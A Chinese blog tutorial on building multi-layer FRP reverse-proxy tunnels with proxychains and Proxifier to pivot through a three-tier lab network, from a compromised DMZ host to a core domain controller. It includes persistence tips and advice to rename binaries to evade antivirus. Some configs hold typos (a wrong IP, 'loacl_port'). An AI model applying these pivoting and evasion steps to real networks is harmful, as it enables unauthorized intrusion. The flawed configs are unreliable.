FRP多层代理隧道技术

简介

FRP 是一款专注于内网穿透的高性能反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。采用 Golang 编写,跨平台支持,无额外依赖。

项目资源:

网络环境分类

三层内网结构:

image-20250420134659533
  1. 第一层网络:192.168.10.0/24 (VMnet1 仅主机模式)
  2. 第二层网络:192.168.20.0/24 (VMnet2)
  3. 第三层网络:192.168.30.0/24 (VMnet3)

真实机已禁用 VMnet1/2/3 网络适配器

一级网络代理配置

环境假设

  • 已控制 Win2012(192.168.10.9)
  • 目标:通过代理访问 Ubuntu(192.168.10.2)

服务端配置(VPS)

# frps.ini
[common]
bind_port = 7000
tls_enable = true
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = 123456

启动命令:

./frps -c frps.ini

客户端配置(Win2012)

# frpc.ini
[common]
tls_enable = true
server_addr = [VPS_IP]
server_port = 7000

[socks5]
remote_port = 1080
plugin = socks5

启动命令:

frpc.exe -c frpc.ini

代理使用

  1. 配置 Proxychains:
# /etc/proxychains4.conf
socks5 [VPS_IP] 1080
  1. 测试连接:
proxychains ssh root@192.168.10.2

二级网络代理配置

环境假设

  • 已控制 DMZ 区 Ubuntu(192.168.10.2)
  • 目标:访问办公区文件服务器(192.168.20.4)

架构

VPS <-> Win2012(DMZ) <-> Ubuntu(办公区)

一级客户端(Win2012)

# frpc.ini(连接VPS)
[common]
tls_enable = true
server_addr = [VPS_IP]
server_port = 7000

[socks5_forward]
type = tcp
remote_port = 1080
plugin = socks5
local_ip = 192.168.10.9
local_port = 10808

二级服务端(Win2012)

# frps.ini
[common]
bind_addr = 192.168.10.9
bind_port = 7000
tls_enable = true

二级客户端(Ubuntu)

# frpc.ini
[common]
tls_enable = true
server_addr = 192.168.10.9
server_port = 7000

[socks5]
type = tcp
plugin = socks5
remote_port = 10808
local_ip = 102.168.20.2
local_port = 10808

代理使用

配置proxychains

  1. 配置 Proxychains:
# /etc/proxychains4.conf
socks5 [VPS_IP] 1080
socks5 192.168.10.9 10808
  1. 测试连接:
proxychains rdesktop 192.168.20.4

三级网络代理配置

环境假设

  • 已控制办公区文件服务器
  • 目标:访问核心区域控(192.168.30.5)

架构

VPS <-> Win2012(DMZ) <-> Ubuntu(办公区) <-> Win2012(核心区)

一级客户端(Win2012)

# frpc.ini(连接VPS)
[common]
tls_enable = true
server_addr = [VPS_IP]
server_port = 7000

[socks5_forward]
type = tcp
remote_port = 1080
plugin = socks5
local_ip = 192.168.10.9
local_port = 10808

二级服务端(Win2012)

# frps.ini
[common]
tls_enable = true
bind_addr = 192.168.10.9
bind_port = 7000

二级客户端(Ubuntu)

# frpc.ini
[common]
tls_enable = true
server_addr = 192.168.10.9
server_port = 7000

[socks5]
type = tcp
remote_port = 10808
plugin = socks5
local_ip = 192.168.20.2
local_port = 10809

三级服务端(Ubuntu)

# frps.ini
[common]
tls_enable = true
bind_addr = 192.168.20.2
bind_port = 7000

三级客户端(办公区 Win2012)

# frpc.ini
[common]
tls_enable = true
server_addr = 192.168.20.2
server_port = 7000

[socks5]
type = tcp
remote_port = 10809
plugin = socks5
local_ip = 192.168.30.2
loacl_port = 10809

代理使用

  1. 配置 Proxychains:
# /etc/proxychains4.conf
socks5 [VPS_IP] 1080
socks5 192.168.10.9 10808
socks5 192.168.20.2 10809
  1. 测试连接:
proxychains rdesktop 192.168.30.5

关键参数说明

参数 说明
bind_port 服务端监听端口
server_addr 客户端连接服务端地址
remote_port 服务端暴露端口
local_port 本地转发端口
plugin 代理类型

配置proxifier

添加代理服务器:

设置过几个 local_iplocal_port 就要设置几个代理服务器,然后选择生成代理链,并将所有的代理服务器按代理顺序拖下去:

image-20250420164143509image-20250420164517352

PS:这里演示的是二层代理,多层代理同理拓展即可

注意事项

  1. 建议启用 TLS:tls_enable = true
  2. 后台运行方式:
    nohup ./frps >/dev/null 2>&1 &
    
  3. Windows 持久化:
    start /b frpc.exe -c frpc.ini
    
  4. 杀毒软件可能拦截,建议重命名二进制文件
  5. 设置proxychains或者proxifier的时候设置过几个 local_iplocal_port 就要设置几个,不然更深层的就无法访问。
posted @ 2025-12-04 16:26  shinianyunyan  阅读(1)  评论(0)    收藏  举报